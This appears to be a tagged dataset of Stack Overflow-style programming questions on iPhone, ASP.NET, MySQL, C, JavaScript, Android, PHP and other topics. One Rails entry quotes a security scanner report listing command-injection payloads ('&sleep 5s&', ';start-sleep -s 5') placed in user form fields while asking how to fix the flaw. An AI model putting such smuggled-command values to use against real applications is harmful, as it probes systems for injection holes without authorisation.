iphone: can i save the screen or take screen shot to practicular area of view  on my screen there is an image and i have to save this image by taking a screenshot. is there any other way of saving a particular area of the image only      if there is a method  please guide me with a simple example.,iphone
dependent drop downs in asp.net  i must be having brainfade but i can t get two dependent drop-downs to work.    in the page load event i am setting the values in my first dropdown if this is not a postback. in the selectedindexchanged event of this drop down i am clearing a second drop-down and adding items based upon the value in the first drop-down. the items are added manually with no use of data-binding.    if i step through the code i can see that the second drop-down is cleared and items are added to it correclty. however  they don t appear in the web page - the second drop-down remains empty.    help   <h2>update</h2>   thanks for all the suggestions. i found the problem. the page used an infragistics asynch panel for ajax postbacks. this was causing the issue.,asp.net
mysql partitioning based on time reference  i m looking to partition a log table that uses bigint to store a unix time stamp instead of datetime  and i want mysql to only keep the most recent 30 days worth of logs in a given partition. i know i can partition initially based on existing data  but how do i get mysql to persistently only keep the most recent 30 days worth of records in the log     the logic for partitioning doesn t seem to support the idea. am i left to create a schedule that repartitions the data every week,mysql
can you explain the results from printing members of a union   could anyone tell me why <code>data.i</code> and <code>data.f</code> were corrupted  the website from which this code is from tries to explain it but uses bad grammar and many typos so i was wondering if anyone here might assist me.   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt;  union data {    int i;    float f;    char  str[20]; };  int main( ) {    union data data;             data.i = 10;    data.f = 220.5;    strcpy( data.str   c programming );     printf(  data.i : %d\n   data.i);    printf(  data.f : %f\n   data.f);    printf(  data.str : %s\n   data.str);     return 0; } </code></pre>   when the above code is compiled and executed  it produces following result:   <blockquote>    data.i : 1917853763<br>   data.f : 4122360580327794860452759994368.000000<br>   data.str : c programming  </blockquote>,c
use .net 4.5 assemblies inside a .net 2.0 project   we have some legacy code.  we need that legacy code to be able to use some dtos that lie inside a .net 4.5 project.    i assume that adding an assembly or project reference (either or) to the project that is .net 4.5 that contains dtos i want to use in my .net 2.0 project is not gonna work.  or can it   if the app runs under the .net 2.0 framework i assume that you can t have dll references higher than the .net 2.0 framework as part of your solution.,.net
how to update table without using update keyword  i have table a  table b with same columns .i want to replace the value in table b with table a value without using update keyword.,sql
ruby on rails: using collection_select and edit path  i m having trouble getting this to work. what i want to do is have a dropdown that populates with team numbers  then depending on which one the user selects it takes them to the edit page for that team. i can get the dropdown to populate correctly  but i can not get it to take me to the correct page. when i test it a different way  it does take me to the correct page so i don t believe that it is a routing error.    the code with issues:   <pre><code>&lt;%= form_tag edit_corevalue_path(@corevalue)  method:  get  do %&gt; &lt;%= collection_select(:corevalue  :corevalue_id  corevalue.all  :id  :teamnumber  :prompt =&gt;  select team ) %&gt; &lt;%= submit_tag  submit!   :name =&gt; nil   class:  btn btn-large btn-primary  %&gt; &lt;% end %&gt; </code></pre>   i get the error: no route matches {:action=> edit   :controller=> corevalues   :id=>nil}    but if i comment that out and test it with:   <pre><code>&lt;%= link_to  test   edit_corevalue_path(2) %&gt; </code></pre>   then it works and takes me to the correct page. i believe the error is that it is not getting the correct id when using @corevalue  but i m not quite sure how to fix it or what the proper syntax would be. any help is greatly appreciated. thank you.,ruby-on-rails
how to insert data from two tables into one table  i need to insert values from two tables into one table. eg table 1 is outward and table 2 is product table. i need to insert values into outward table and from product table i have productname which needs to be inserted into outward table.  my code is    <pre><code>insert into tbltrn_outward  tbltrn product(chalanno godownsrno  igodownsrno deladdress outwarddate productname qty boxes rate price batchcombo active createdby createdon fyearsno)  values( $chalanno   $godownsrno   $igodownsrno   $deladdress   $outwarddate   $productname   $qty   $boxes   $rate   $price   $batchcombo   $active   $createdby   $createdon   $fyearsrno ) ; </code></pre>,sql
how to get angular to have a click event bring part of the dom with it to the function   i am creating a small practice to-do list app with angular. i have created a form for creating new tasks and they are updating fine. i have a button generate for every task that is titled  remove . i d like to make the button remove specifically that task from the todo list. here s the html code:   <pre><code>&lt;div ng-controller= todolistcontroller &gt;     &lt;ul&gt;         &lt;li ng-repeat= task in tasklist &gt;             &lt;p&gt;                 {{task.name}}: {{task.description}}                 &lt;button ng-click= killtodo() &gt; remove &lt;/button&gt;             &lt;/p&gt;         &lt;/li&gt;         &lt;hr&gt;         &lt;h3&gt; display: &lt;/h3&gt;         &lt;li&gt;             &lt;p&gt;                 {{task}}: {{taskdescription}}             &lt;p&gt;         &lt;/li&gt;     &lt;/ul&gt;     &lt;hr&gt;     &lt;form ng-submit= addto() &gt;         &lt;input type= text  ng-model= task  placeholder= enter a task name. &gt;         &lt;input type= text  ng-model= taskdescription  placeholder= enter the description. &gt;         &lt;input class= btn-primary  type= submit  value= add &gt;     &lt;/form&gt; &lt;/div&gt; </code></pre>   javascript code:   <pre><code>function todolistcontroller($scope) { $scope.tasklist = [ { name :  task list     description :  make a task list. } ];  $scope.addto = function() {     $scope.tasklist.push({name:$scope.task  description:$scope.taskdescription});     $scope.task =   ;     $scope.taskdescription =   ; };  $scope.killtodo = function(name) { }; </code></pre>   }    any suggestions would be great  thanks.,angularjs
javascript constants | style and keyword <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/130396/are-there-constants-in-javascript >are there constants in javascript </a>    </blockquote>     for example here i set the close time on this menu to 1 second or 1000 milliseconds.   <pre><code>menu.menu_timer=window.settimeout(menu.hide_menu  1000); </code></pre>   does javascript have a const like c or a define like php to define constants,javascript
css childs and siblings  i am new in css right now. i don t have much experience with css children  pseudo classes  siblings. i have like 30 pages of w3school open and can t find the specific thing i need.    i have 2 divs  1 image in those divs.    but  when i use css img and change it  it changes both of them  i just want to change one and that s it. i m using like <code>img.this</code> and <code>:</code> and <code>&gt;</code> and both always change size.    i don t understand the coding here; there s so many  like <code>div.(class) img -code-</code> and others.    i know is something so simple but can t find the way.,css
infix to postfix using stacks as linked lists in c language  i have written a program to convert infix to postfix using c language in ubuntu...but my program is not working properly can any one help  my program is as follows   <pre><code>#include&lt;stdio.h&gt; #include&lt;stdlib.h&gt;  char op[50];  struct node {     char data;     struct node *next; } *l1=null;  void push(char x)         // pushes char into the linkedlist {     if(l1==null)     {         l1=(struct node *)malloc(sizeof(struct node));         l1-&gt;data=x;         l1-&gt;next=null;     }     else     {         struct node *p;         p=(struct node *)malloc(sizeof(struct node));         p-&gt;data=x;         p-&gt;next=l1;         l1=p;     } }  char pop()           // pops char outof linkedlist {     char c;     struct node *p;     if (l1==null)     {         printf( the stack is empty\n );         // exit(1);     }     else     {         c=l1-&gt;data;         p=l1-&gt;next;         free (l1);         l1=p;     }     return c; }  void display(struct node *start) {     {         int i=0;         struct node *p;         p=start;         if(p==null)             printf( empty list );         else         {             while(p!=null)             {                 printf( %c-&gt;  p-&gt;data);                 p=p-&gt;next;             }             printf( null\n );         }     } }   int prior(char s  char c) {     if ( c== ^  &amp;&amp; s== +  || s== -  ||s== /  || s== * )         return 1;     else if( c== *  || c== / )     {         if(s== +  || s== -  )             return 1;         else             return 0;     }     else if( c== +  || c== -  )         return 0; }  void cnvrt(char s[]  int n)       // convert infix to postfix {     char g;     int i j x;     for(i=0 j=0;i&lt;n;i++)     {          if (s[i]&gt;= 0 &amp;&amp;s[i]&lt;= 9  || s[i]&gt;= a  &amp;&amp; s[i]&lt;= z || s[i]&gt;= a  &amp;&amp; s[i]&lt;= z )         {             op[j]=s[i];             j++;         }         else if(s[i]== ( )         {             push(s[i]);         }         else if (s[i]== +  || s[i]== /  || s[i]== -  || s[i]== *  || s[i]== ^ )         {              if( l1==null)                 push(s[i]);             else if(l1-&gt;data== ( )                 push(s[i]);             else if(prior(l1-&gt;data  s[i] )!=1)                 push(s[i]);             else             { op[j]=pop();                 j++;                 push(s[i]);             }         }         else if(s[i]== ) )         {             while(l1!=null &amp;&amp; l1-&gt;data!= ( )             {                 op[j]=pop();                 j++;             }             g=pop();         }     }     while(l1!=null)     {         op[j]=pop();         j++;         l1=l1-&gt;next;     } }   void main() {     int i n;     char c[50];     printf(  enter the no of characters in infix string\n  );     scanf( %d  &amp;n);     printf(  enter the infix string\n );     //for(i=0;i&lt;n;i++)     scanf( %s  c);      cnvrt(c n);     printf( the postfix string is \n );     for(i=0;i&lt;n;i++)     {         printf( %c  op[i]);     } } </code></pre>   always one of the operators is missing in the answer..also it gives core dumped as output sometimes and if infix contains  (  ot  )  then it gives output as stack is empty...... please help me i am a student so their might be mistakes in my program.,c
ascii characters  i m doing a homework assignment in which i need to print out to the console and a text file the numbers 0-255 along with the hex and ascii which goes along with them.      the main focus of the assignment is to learn about formatting and file handling.    i ve figured out all the nice formatting by using widths and i can print things out to the file no problem.      i m using <code>%d %x %c</code> for my <code>printf()</code>.     my pet peeve is that ascii 11  12 and 13(   ) are something like tab  lf and some other non-image char.      this totally screws with those two rows and i m a wee bit anal about stuff like this.    is there a fast and easy way to get something else to show up that won t screw with my columns and rows or do i need to put in <code>if</code>-statements and filter these guys out myself,c
my update command does not working <pre><code>    con.open()     sql =  select * from rates where from =   + combobox1.text +         sqlcmd = new oledb.oledbcommand(sql  con)     reader = sqlcmd.executereader     while reader.read         txtto.text = reader.item( to )         txtrateperton.text = reader.item( ratesperton )         txtratepertrip.text = reader.item( ratespertrip )     end while     reader.close() catch ex as exception     messagebox.show(ex.message) end try dim cb as new oledb.oledbcommandbuilder(da) ds.tables( transport2003 ).rows(inc).item(1) = txtdate.text ds.tables( transport2003 ).rows(inc).item(2) = txtfreightslipno.text ds.tables( transport2003 ).rows(inc).item(3) = combobox1.selectedvalue ds.tables( transport2003 ).rows(inc).item(4) = txtto.text ds.tables( transport2003 ).rows(inc).item(5) = txtrateperton.text ds.tables( transport2003 ).rows(inc).item(6) = txtratepertrip.text ds.tables( transport2003 ).rows(inc).item(7) = combobox2.selectedvalue.tostring ds.tables( transport2003 ).rows(inc).item(8) = combobox3.selectedvalue.tostring ds.tables( transport2003 ).rows(inc).item(9) = txtton.text ds.tables( transport2003 ).rows(inc).item(10) = combobox4.selectedvalue.tostring ds.tables( transport2003 ).rows(inc).item(11) = txtextra.text ds.tables( transport2003 ).rows(inc).item(12) = txttrips.text ds.tables( transport2003 ).rows(inc).item(13) = txtactualweight.text ds.tables( transport2003 ).rows(inc).item(14) = txtbillweight.text ds.tables( transport2003 ).rows(inc).item(15) = txtamount.text da.update(ds   transport2003 ) </code></pre>,.net
c# visual web developer: listing all files in a directory as a dropdownlist  i am developing a web page that displays a report.  the report gets updated monthly and i would like the option to display the previous reports as well as the current one.  i don t even know where to begin with this and i am hoping for suggestions.  all i can think of off the top of my head is to somehow display all of the reports in the directory in a dropdownlist (if that s possible).    any advice is appreciated.    regards.,c#
why more than one  using system  namespace   <a href= https://i.stack.imgur.com/rctdm.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/rctdm.png  alt= enter image description here ></a>    i don t get why  when i start a new console solution in c#  it has more than one  using system  lines. shouldn t using system cover using system.text and the rest,c#
get  ...  continuation for white-space nowrap style  i am applying white-space: nowrap successfully on a piece of text. i am wondering whether it is possible to get a standard  ...  at the end of the piece of text if it is truncated by the nowrap style. is this something css can take care of  or do i need javascript     thanks.,css
how to write a function to double numbers and pass them as to an object <pre><code>numbers = [1 2 3 4 5];  function doubling(number) {     number *= 2;     return number; }  obj = {}; for (var i = 0; i &lt; numbers.length; i++)     doubled = doubling(numbers[i]);     obj[numbers[i]] = doubled;     console.log(obj); </code></pre>   when i run my code  it prints  10  when what i want is for it to print {1:2  2:4  3:6  4:8  5:10}. why does this happen,javascript
eclipse not showing changes  okay to i pulled to code from <a href= https://bitbucket.org/satscape/sim-u-kraft/src  rel= nofollow >https://bitbucket.org/satscape/sim-u-kraft/src</a> using git into my eclipse src folder. normally i hit refresh and boom the code is there. but when i tried it this time the files just don t show up. i tried refreshing and restarting eclipse/workspace,java
is it possible to use cursorloader in an activity not fragment with android compatibility  can i use a cursorloader in a subclass of an activity (not a subclass of fragmentactivity) with the android-compatibility library  if i can  how do i get the cursorloader since getloadermanager().init(...)  is not available in an activity subclass with the compatibility layer.,android
explain the working of sizeof() operator in the following program  <pre><code>#include&lt;stdio.h&gt; void main() { float a=10.5; printf( %d%d  sizeof(a) sizeof(10.5)); } </code></pre>   output: 4 8    i want to know why it happens,c
mysql guidance wanted :)  i have 3 tables:   <ul> <li>recipe // this one contains the items what are in the recipe</li> <li>item // these are the list of known items. we also store a starting price for the items here. </li> <li>receipt // this is the prices of the items</li> </ul>   this query will return me with the item name from the recipe and with the latest price. i have a problem with this query. if there is no record for the item in receipt that item won t show up in my list. how can i do that if there is no record in the receipt then return the item with it s starting price from the <code>item</code> table       <pre><code>select i.name  r.price from recipe_items ri join receipt r on (ri.item = r.item) join item i on (ri.item = i.id) left outer join receipt r1 on (r.item = r1.item and       (r.date &lt; r1.date or r.date = r1.date and r.id &lt; r1.id))  where r1.id is null and ri.recipe_id = 2 group by ri.item </code></pre>,mysql
possible to terminate a class   i ve got a program which runs multiple classes. i d like a class to stop executing if a condition is true and not execute the rest of the code without killing the other classes. this class runs on it s own thread. is this do-able    <pre><code> class a{     private void method{            if(condition == true){              //terminate class             }     } } </code></pre>,java
unknown javascript function declaration pattern  i have never seen this design pattern before  what is it doing    <pre><code>(function(def){     if(typeof module!= undefined ){         module.exports=def;     }     else{         this.nut=def;     } }( function(){    ... }() )); </code></pre>,javascript
what is wrong with error: invalid operands to binary expression ( double  and  double )  for output from one line of my code   <pre><code>double _double = pow(((15) ^ 17)/11 ^ 1.5 2)/9.8; </code></pre>   when i try to compile it  it returns error: invalid operands to binary expression   ( double  and  double ) i think both 15 ^ 17 and 11 ^ 1.5 would be double  so why it gave me this error,c++
free tools to speed up web development  as a little side project  i am starting to build a new website for a certain organization i am affiliated to  which current site is simply outdated.    i am regularly a java developer  and last time i really did some web development was back in the late 90s  when <code>&lt;p&gt;</code> was still more popular than <code>&lt;div&gt;</code> and javascript was cutting-edge technology (jquery is for lazy bums these days :) ).    anyway  i feel really outdated. the website basically is going to be:   <ul> <li>django based</li> <li><strong>mostly serve static information pages</strong></li> <li>it will have a dynamic news and updates page (based on django admin capabilites)</li> <li>and some basic apps i ll develop myself (polls  small registration app  etc...)</li> </ul>   my problem is <strong>designing</strong> the whole thing. i found some nice web-based css layout generators that got me going  but i still feel i m wasting my time smoothing out the css files and aligning <code>&lt;div&gt;</code>s.    are there any tools - the simpler and faster  the better - that you recommend i can use to speed up the design part of the site so i can concentrate on the <em>real</em> work     i don t need anything fancy  just a nice looking layout and design that i can tweak a bit so the site will look presentable.,css
animation on showing up in android  i am trying to perform animation on 4 png images. i have <code>drawable</code> folder in <code>res</code> folder containing the images to be animated and one <code>animation.xml</code>    now my problem is that:when i say <code>animation.start</code> i cannot see anything on the emulator    <strong>my code:</strong>   <pre><code>package com.androcles.treeactivity;   import android.app.activity;  import android.graphics.drawable.animationdrawable;  import android.os.bundle;  import android.widget.imageview;  public class treeactivity extends activity {   private imageview image1; @override public void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_tree);    image1 = (imageview)findviewbyid(r.id.imageview1);    image1.setimagebitmap(null);    image1.setbackgroundresource(r.drawable.animation);     final animationdrawable mailanimation = (animationdrawable) image1.getbackground(); image1.post(new runnable() {     public void run()     {         if ( mailanimation != null )         {                system.out.println( before animation starts...!!!!! );             mailanimation.start();             system.out.println( after animation starts...!!!!! );         }     } }); }  } </code></pre>,android
efficent filtering on property in large data set  i have an in memory list with a lot of objects (let s say 150000). each object has a string property that i want to search/filter on  something like this:   <pre><code>var searchterm =  something ; var result = listofobjects.where(o =&gt; o.prop.contains(searchterm)).tolist(); </code></pre>   this is obviusly very slow. is there any way to speed it up  i ve tried processing in parallel without any benefits. is there any way to involve hashsets  or perhaps sort it and do a binary search,c#
specified cast is not valid #3  i have this issue where i am receiving  specified cast is not valid  no errors  in the error list inside visual studio. could this error becoming from my access database       <pre><code>private void submit_click(object sender  eventargs e) {     string desitem = deswork.text;     decimal partscost = convert.todecimal(textboxpartscost.text);     decimal laborhours = convert.todecimal(textboxhours.text);     decimal laborrate = convert.todecimal(textboxrate.text);     decimal total = laborhours * laborrate + partscost;      try     {         servicestableadapter.insertservices((short )comboboxcustomer.selectedvalue  (datetime )datetimepickerservicedate.value  desitem  partscost  laborhours  laborrate  total);         messagebox.show( services inserted    succes!   messageboxbuttons.ok  messageboxicon.information);     }     catch (exception ex)     {         messagebox.show(ex.message   error   messageboxbuttons.ok  messageboxicon.error);     } } </code></pre>   i think it may be coming from the <code>(short )comboboxcustomer.selectedvalue</code> because inside visual studio it s telling me i need to cast into a short but inside access i am using  long integer. not sure why this is the case. can someone let me know what i am doing wrong,c#
.net assembly method loads  how can i check which methods are called during a .net application startup  i do not have the source code.,.net
block quote formatting  i like the way stackexchange does quotes  i attempted to add it to my site  but didn t get it to work across multiple lines  only one line. what do i need to change to do multiple lines     here is what i am currently using:   <pre><code>val = val.replace(/^&gt;(.+ )($|\n)/ig   &lt;blockquote&gt;$1&lt;/blockquote&gt; ); </code></pre>   <br> <strong>edit</strong><br> i decided to go for a different style.   <pre><code>val = val.replace(/  ([\s\s]*.+ )  /igm   &lt;blockquote&gt;$1&lt;/blockquote&gt; ); </code></pre>,javascript
how to fix remote os command injection security issue in rails 4.2   i run zap scanner in my application  it gave one high priority issue as:   <blockquote>    high (medium) remote os command injection        description           attack technique used for unauthorized execution of operating system   commands. this attack is possible when an application accepts   untrusted input to build operating system commands in an insecure   manner involving improper data sanitization  and/or improper calling   of external programs.   <pre><code>url </code></pre>       <a href= http://xx.xx.xxx.xx/users/5  rel= nofollow >http://xx.xx.xxx.xx/users/5</a>   <pre><code>    parameter </code></pre>       user[time_zone]   <pre><code>    attack </code></pre>       pacific time (us &amp; canada) &amp;sleep 5s&amp;    <pre><code>url </code></pre>       <a href= http://xx.xx.xxx.xx/users/5  rel= nofollow >http://xx.xx.xxx.xx/users/5</a>   <pre><code>    parameter </code></pre>       user[designations]   <pre><code>    attack </code></pre>       tester &amp;sleep 5s&amp;    <pre><code>url </code></pre>       <a href= http://xx.xx.xxx.xx/users/5  rel= nofollow >http://xx.xx.xxx.xx/users/5</a>   <pre><code>    parameter </code></pre>       user[password]   <pre><code>    attack </code></pre>       ;start-sleep -s 5  </blockquote>   how to fix this type of issue,ruby-on-rails
modalpopupextender with dropdown bootstrap using asp.net  i am using modalpopupextender but problem is i need data in dropdown list with responsive so can i create modalpopupextender with bootstrap. if possible please  send me code using asp.net,asp.net
-[__nsarrayi objectatindex:]: index 2 beyond bounds [0 .. 1]  i am trying to fetch the data from two arrays and get data from third array taking that index . everything worked fine until second iteration . tagsidarray and tagsarray has 3 arrays each and each array has their respective count (basically it is array of arrays ). pretagarray has its respective count.     <pre><code> if(tagsarray!=(id)[nsnull null])          {              for(int i=0;i&lt;[tagsarray count];i++)              {                  for(int j=0;j&lt;[[tagidsarray objectatindex:i] count];j++){                      if([[tagidsarray objectatindex:i]objectatindex:j]==[pretagarray objectatindex:j])                      {                          selectedtagcompletearray = [[tagsarray objectatindex:i]objectatindex:j];                      }                  }              }          } </code></pre>  <blockquote>    example tagsarray objectatindex:i count = 4 5 20   tagsidsarray objectatindex:i count = 4 10 8   pretagarrycount = 15  </blockquote>,objective-c
how to use one way binding with ngclass directive in angularjs   i have a list of objects. they are displayed with <code>ngrepeat</code> direcitve. each block with information is covered with directive  that has some helper methods.    i.e. it constructs <code>labelid</code> variable  that is used in this block with one way binding.    so when i want to display it for example in <code>for</code> attribute i have no problem <code>{{::label}}</code>.<br> when i want to display it as field name  there is also no problem <code>{{::label}}</code>.    but when i want to reference it in <code>ngmessages</code> block like:   <pre><code>&lt;p class= error-message  ng-messages= formname[::label +  _  + $index].$error  ng-messages-include= error-messages.html &gt;&lt;/p&gt; </code></pre>   or when i want to use it for reference to set css class dynamically like:   <pre><code>&lt;div ng-class= { has-error : (formname[::label +  _  + $index].$error.someerrorname)} &gt; </code></pre>   then i m getting <code>error</code>   <pre><code>error: [$parse:syntax] syntax error: token  :  not a primary expression at column 21 of the expression [{ has-error : (formname[::label +  _  + $index].$error </code></pre>,angularjs
print angular element tag-name inside linking function  jsfiddle is <a href= http://jsfiddle.net/hb7lu/23009/  rel= nofollow >here</a>.    inside my directive s linking function  i am trying to print the directive element s tag name as    <pre><code>myapp.directive( mydirective   function () {     return {       link: function (scope  element  attrs) {           element.append( &lt;hr&gt;you know  my tag name is   + element.tagname)           }     } }) </code></pre>   it prints <code>undefined</code> whereas i expect the directive s tag name <code>my-directive</code> to be printed.,angularjs
how to reduce the lag while showing alert dialog  i want reduce lag while showing alert dialog    <pre><code>private void createalertdialog() {       alertdialog.builder builder = new alertdialog.builder(getapplicationcontext());     layoutinflater inflater = layoutinflater.from(context);     searchview searchview;      view dialogview = inflater.inflate(r.layout.search_view  null);     searchview = (searchview) dialogview.findviewbyid(r.id.search_pop);     listview = (listview) dialogview.findviewbyid(r.id.search_list);     searchviewstyle.on(searchview)             .setcursorcolor(r.color.white)             //.settextcolor(r.color.white)             .sethinttextcolor(getresources().getcolor(r.color.black))             .setsearchhintdrawable(r.drawable.search_icon   search here )             .setsearchbuttonimageresource(r.drawable.search_icon)             .setsubmitareadrawableid(r.drawable.abc_textfield_search_activated_mtrl_alpha)             .setclosebtnimageresource(r.drawable.circle_close_btn);      builder.setview(dialogview);     searchview.setonquerytextlistener(listener); // call the querytextlistner.        alert = builder.create();     alert.getwindow().setbackgrounddrawable(new colordrawable(color.transparent));     alert.getwindow().settype(windowmanager.layoutparams.type_system_alert);      windowmanager.layoutparams lp = new windowmanager.layoutparams();     final window window = alert.getwindow();     windowmanager.layoutparams wmlp = alert.getwindow().getattributes();      wmlp.gravity = gravity.top | gravity.left;     // window.setgravity(gravity.left);      lp.copyfrom(window.getattributes());     //this makes the dialog take up the full width      lp.width = windowmanager.layoutparams.wrap_content;     lp.height = windowmanager.layoutparams.wrap_content;     window.setattributes(lp);   } </code></pre>   the above code is for creating alert dialog and am displaying it on upon click a button   <pre><code>searchimage.setonclicklistener(new view.onclicklistener() {         @override         public void onclick(view v) {              alert.show();             searchadapter searchadapter = new searchadapter(results  getapplicationcontext());             listview.setadapter(searchadapter);               listview.setonitemclicklistener(new adapterview.onitemclicklistener() {                 @override                 public void onitemclick(adapterview&lt; &gt; parent  view view  int position  long id) {                      log.i( itemclick   position +   );                     alert.dismiss();                      getinformation(position);                   }             });           }     }); </code></pre>   the below code is displaying dialog. but the problem is while displaying it lags,android
disable css selector effect(priority)  i want to know if its possible to disable some css selector to allow a lower selector(in priorety) to be selected :   <pre><code>@media (min-width: 992px) .empty-left #content-holder {     width: initial; // initial is not working nor inherit }  @media (min-width: 992px) .empty-left #content-holder {     width: 75%; // i want to disable this } .empty-left #content-holder {     width: 100%; // this is the width i want to be set } </code></pre>   thanks you.    edit: i can t modify the last empty-left selector  because it will be overriden in the next framework update.,css
understanding a java regular expression  i am matching this expression with emails with the below format.    <pre><code>from: me@gmail.com to: you@gmail.com  &lt;body of the email&gt; </code></pre>   any help to match this email would be of great help.,java
jquery html or innerhtml   why i am unable to display the text in my dev box    <pre><code>  &lt;script type= text/javascript &gt;      $(document).ready(function()      {         $( facebookuserbox ).innerhtml( you have not loggged in... )     });      var loggedin =  &lt;%=isloggedin%&gt;      if (loggedin)      {         $( facebookuserbox ).innerhtml( logged in text );     }   &lt;/script&gt;   &lt;body&gt; &lt;form id= form1  runat= server &gt;  &lt;div id= facebookuserbox &gt;&lt;/div&gt;  &lt;br /&gt; &lt;br /&gt;     user id:  &lt;asp:textbox id= textbox1  runat= server &gt;&lt;/asp:textbox&gt;     password: &lt;asp:textbox id= textbox2  runat= server &gt;&lt;/asp:textbox&gt;  &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   ps: i am not sure my jquery alignment is messed up.,jquery
how to instantiate a javascript class in another js file   suppose if i define a class in file1.js   <pre><code>function customer(){     this.name= jhon ;     this.getname=function(){         return this.name;     }; }; </code></pre>   now if i want to create a customer object in file2.js   <pre><code>var customer=new customer(); var name=customer.getname(); </code></pre>   i am getting exception: <code>customer is undefined  not a constructor.</code>    but when i create a customer object in file2.js and pass it to file1.js then its working .   <pre><code>file1.js      function customer(){         this.name= jhon ;         this.getname=function(){             return this.name;         }     }     function customer(){         return new customer();     }  file2.js      var customer=customer();     var name=customer.getname(); </code></pre>   but i want to create a customer object in file1.js using new customer(). how can i achieve that,javascript
change navigation controller title after a few seconds  in an ios app i am using a uinavigationcontroller. on start-up this will have a title set but after a few seconds (in response to some data from a server) this title will need to change.    i tried:   <pre><code>self.title = @ new title ;  self.navigationcontroller.title = @ new ; self.navigationitem.title- @ new ; </code></pre>   nothing works... any suggestions,ios
asp.net gridview issue with dataformatstring in a boundfield  i have a boundfield in a gridview whose datatype (in mssql) is time(7).  the format is being displayed as:    hh:mm:ss.xxxxxx    i want to add a dataformatstring to this boundfield so that the field displays in the format:    hh:mm:ss    here is a snippet of the .aspx file that i m modifying:   <pre><code>&lt;asp:boundfield datafield= proctime  headertext= proctime  </code></pre>   <code>sortexpression= proctime  applyformatineditmode= true  htmlencode= true  dataformatstring= {0:f0}  /&gt;</code>     i ve tried many different format strings (t  t  d  d  m  etc) but it does not change the format of the boundfield.    what am i missing,asp.net
php unexpected t_else  im quite new to php just trying some basics and as i was writing some script i found error that i can t fix myself. it says     parse error: syntax error  unexpected t_else in /xyz.php on line 22    i will paste here lines from 20 to 24   <pre><code>echo ( to rownanie nie ma rozwiazan w zbiorze liczb rzeczywistym ); } else {     if ($delta == 0){ $wynik = - $b / 2 * $a; </code></pre>   and the whole script if needed   <pre><code>&lt; php $a = 1; $b = 1; $c = -2; //wyswietlenie parametrow rownania echo ( parametrami rownania sa: &lt;br&gt; ); echo ( a = $a  b = $b  c = $c &lt;br&gt; ); //sprawdzenie czy jest ono kwadratowe if ($a == 0){     echo( to nie jest rownanie kwadratowe! a = 0! ); } else {     $delta = $b * $b - 4 * $a * $c;     if ($delta &lt; 0);{         echo ( delta &lt; 0 &lt;br&gt; );         echo ( to rownanie nie ma rozwiazan w zbiorze liczb rzeczywistym );     }     else {         if ($delta == 0){             $wynik = - $b / 2 * $a;         echo ( rozwiazanie: x = $wynik &lt;br&gt; );         }         else {             $wynik = ( - b + sqrt($delta)) / 2 * $a             echo ( rozwiazanie x1 = $wynik );             $wynik = ( - b - sqrt($delta)) / 2 * $a             echo (   x2 = $wynik );         }     }  }    &gt; </code></pre>   thanks for help in advance,php
how to make <textarea>s un-expandable using html   <code>textareas</code> are expandable (bottom right corner there is a hook).    how do i make a textarea <code>solid/un-expandable</code>  preferably through html.,html
broken binary converter. index error  i have no idea why this is broken. also dont tell me to use python s built in function because this is designed for some practice not to actually be used. it is binary to decimal that is broken. it has a index error with the variable  index    <pre><code>    print( please choose from the list below: )     print(  )     print( 1) convert from decimal/denary to binary;  )     print( 2) covert from binary to denary/decimal;  ) #main menu     print( 3) infomation and settings (coming soon); )     print( 4) exit.  )     print(  )     menu_choice = str(input( enter your choice here:  )) #user inputs choice here      if menu_choice ==  1 :         dec_binary()     elif menu_choice ==  2 :         binary_dec()     elif menu_choice ==  3 :         print( by callum suttle )     else:         return  thank you   def dec_binary():                                                          #module 1: decimal to binary     dec = int(input( enter a number in decimal up to 255:  ))              #checks the number is an ok size  could be made bigger              while dec &gt; 255:         dec = int(input( enter a number up to 255  no more:  ))      power = int(7)     #change 7 to make bigger by 1 digit                                                          convert = []      while power &gt; -1:      #until power goes below zero         if dec - pow(2  power) &gt;= 0:  #if entered number subtract 2 to the power of var-pow returns posotive number             convert.append(1)             power -=1                 # add a 1             dec = dec - pow(2  power) &gt;= 0         else:             convert.append(0)#if not add a zero             power -=1     print(  )     print(convert) # print completed number     print(  )     binary_decimal_converter() #back to main menu  def binary_dec():     anwser = 0     l_bi = str(input( enter a number in binary up to 7 digits:  ))     while len(l_bi) != 7:    #checks for correct length         l_bi = str(input( enter a number in binary up to 7 digits  you may add zeros before:  ))     power = 7       #size can be increased by using this     index = 0     while index &gt; 6:  #until every power has been checked (in reverse order)         if l_bi[index] ==  1 :  #if the digit is equal to 1              anwser += pow(2  power)  #add that amount             power -= 1 #take the power to check next                                          #why is this broken             index += 1 # add another index to check previous          else:             power -= 1 #as above             index += 1   #/\     print(  )     print(anwser) #prints result     print(  )     binary_decimal_converter() #main menu </code></pre>,python
echo items with value of three  i need to echo all items in my column that have the value of three. if a field has the value of three i then need to echo the  name  and  description  on that row.    this is what i have so far   <pre><code>$result = mysql_query($query1) or die(mysql_error());     while ($row = mysql_fetch_array($result))     {     echo $row[ status ]; } </code></pre>   i need to write  if $row[`status´ == 3 echo  description   name  else echo  no current staus     i hope i made some sense because i am seriously confused,php
stream .lrf files via webbserver  i ve noticed that on lolreplays webpage you can now stream live games via their program lolrecorder. i found this code on their page     href= lrf://spectator spectator.eu.lol.riotgames.com 2nhvydkasjjqc7f+mthqeihfcusqlfu5 488978485 eun1 3.01.0.1     and i ve tried a little to stream from my own (already recorded) game. but all i get is unable to find match. my question is: does anyone here know how this works     thanks!,html
